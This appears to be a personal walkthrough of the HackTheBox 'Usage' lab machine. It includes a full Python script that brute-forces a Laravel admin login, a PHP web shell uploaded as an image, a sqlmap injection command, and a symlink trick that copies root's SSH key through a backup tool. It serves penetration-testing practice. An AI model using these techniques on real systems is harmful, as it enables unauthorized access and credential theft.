HTB; Linux; Easy; 10.129.13.246

Initial Enumeration

Nmap Port scan shows port 22, 80 are open

  1. 22, a regular ssh port, you rarely exploit it first
  2. 80, nginx 1.18.0, redirect to http://usage.htb, so we need to edit our /etc/hosts page, appending following
    • 10.129.13.246(better use a tab in between)usage.htb

Port 80 seems to be a login page

Initial Foothold

I actually took the hard way, later when I was reading the walkthrough, this is a much easier way to do this. So, I am gonna write my way first. After playing around the website for some minutes, I’ve decided that I am going to brute force the admin’s credential. The only trouble is that with every request, the response will set new cookie values, by using the old cookie values to submit a post request to login will result in “Page Expired” issue. Here is an example

I used the credential admin:admin (this is the default credential for laravel) to login, and the response I got has set a new XSRF-TOKEN value and a new laraevl_session value. While I could use Burp Suite’s intruder for this task, but they are too slow for a non pro version. That’s why I am gonna write my own intruder to brute force admin’s password. The idea about how such code works will be written in a different post. (add the link later)


import requests 
import re 
#This is the GET request to get the XSRF-TOKEN, laraevl_session cookie values and _token value.
def extract_fields(raw_response):

    res_headers = raw_response.headers 
    # print("Response Headers:", res_headers)
    raw_cookie = res_headers['Set-Cookie']
    xsrf_cookie = raw_cookie.split("laravel_session=")[0].split(" ")[0].split("XSRF-TOKEN=")[1][:-1]
    laravel_cookie = raw_cookie.split("laravel_session=")[1].split(" ")[0][:-1]
    # print(res_headers['Set-Cookie'])
    # print()
    # print(xsrf_cookie)
    # print()
    # print(laravel_cookie)

    # Printing the content of the response
    res_text = raw_response.text
    # print("Content:", res_text)

    token_pattern = re.compile(r'name=\"_token\" value=\"(.+)\">')
    match = token_pattern.search(res_text)
    if match: 
        token = match.group(1)
    # print(token)
    return xsrf_cookie, laravel_cookie, token
def brute_force(target_url, password, keywords):
    response = requests.get(target_url)
    # Printing the status code of the response
    # print("Status Code:", response.status_code)

    xsrf_cookie,laravel_cookie,token=extract_fields(response)
    xsrf_cookie_name = 'XSRF-TOKEN'
    laravel_cookie_name = "laravel_session"
    cookies = {
        xsrf_cookie_name: xsrf_cookie,
        laravel_cookie_name: laravel_cookie
    }

    # Define the form data to be sent in the POST request
    data = {
        'username': 'admin',
        'password': password,
        'remember': '1',
        '_token': token
    }

    # Define the headers, including Content-Type
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }

    # Send the POST request
    response = requests.post(target_url, cookies=cookies, data=data, headers=headers)
    # print(response.status_code)
    if response.status_code == 200 and (keywords not in response.text):
        return True
    
    return False 
    # Print the response status and content
    # print(f"Status Code: {response.status_code}")
    # print(f"Response Content: {response.text}")

import time

# Record the start time
start_time = time.time()

target_url = "http://admin.usage.htb/admin/auth/login"
keywords = "These credentials do not"
wordlist_file = open('/usr/share/wordlists/rockyou.txt', 'r', errors='ignore')
# wordlist_file = open('/home/kali/Desktop/htb/Usage/password.txt', 'r', errors='ignore')
wordlist = wordlist_file.readlines()
wordlist_file.close()

tracker = 0 
for word in wordlist:
    password = word.strip('\n')
    result = brute_force(target_url, password, keywords)
    if result:
        print("password found is: ", password)
        break 
    tracker += 1
    if tracker % 100 == 0:
        print(tracker, "password: ", password)
    time.sleep(0.01)

end_time = time.time()

# Calculate the elapsed time
elapsed_time = end_time - start_time

# Print the elapsed time
print(f"Program ran for {elapsed_time:.2f} seconds.")

Result

Found the password. I’d say I am lucky that the server uses default admin’s username “admin”, otherwise I won’t get a hit.

(update) damn, I forgot to include the final step of the privilege escalation. Anyway, you got to upload a file to the admin’s profile picture. It should be a php shellcode file with png or jpg extension after php extension. For example shell.php.jpg. I like the following shellcode, it’s simple and straight forward.

<?php echo shell_exec($_GET['cmd']); ?>

Locate the file path using right click and inspect, then grab path and use url_path?cmd=whoami, to test it out. (Sorry to lazy to initiate the virtual machine and do the step again, hope you can get it through with the hint I offered.

Another Approach

This is the solution from the walkthrough. To make that work, we’ll need to first capture a Login POST request to the server, and then update its cookies from the 302 response page. (Like the REQUEST/RESPONSE page in the top of the Initial Foothold part) Save the POST request to a file called send_post, then issue the following SQLMAP command

sqlmap -r send_post -p email –method POST –dbs –batch –level 3

We’ll get the following table getting dumped.

Using john the ripper will easily decrypt it.

Privilege Escalation

After we gained the initial foothold as dash, there is a file .monitrc at dash’s home directory that contains a password for the user xander

We could use su xander to impersonate that user

Using sudo -l showed that xander is able to use sudo for the binary /usr/bin/usage_management

Running sudo /usr/bin/usage_management gives us three options

If we pick 1. Project Backup, it will back up all the folders/files at /var/www/html to /var/backups/project.zip. This is a great news, if xander has a write permission over /var/www/html, then we could use symlink to link root folder under /var/www/html.

Good news, html folder is writable for everyone, which is not a safe practice at all. Now let’s symbolic link root folder with command

ln -s /root root

The idea behind it is when we run sudo /usr/bin/usage_management, it will back up all the folders/files under /var/www/html with root privilege, but all the files and folders’ owner is xander user. That’s why when we unzip the backup file, we’ll own a copy of the /root folder as xander user.

Now let’s unzip the back up file with command

unzip /var/backups/project.zip -d /tmp

At the /tmp folder, we see there is a root folder that belongs to xander

Inside the root folder, we see everything from the original root folder, including an id_rsa ssh private key

Using that private key, we could log in as root user, and hence gained the root privilege.

Cheers!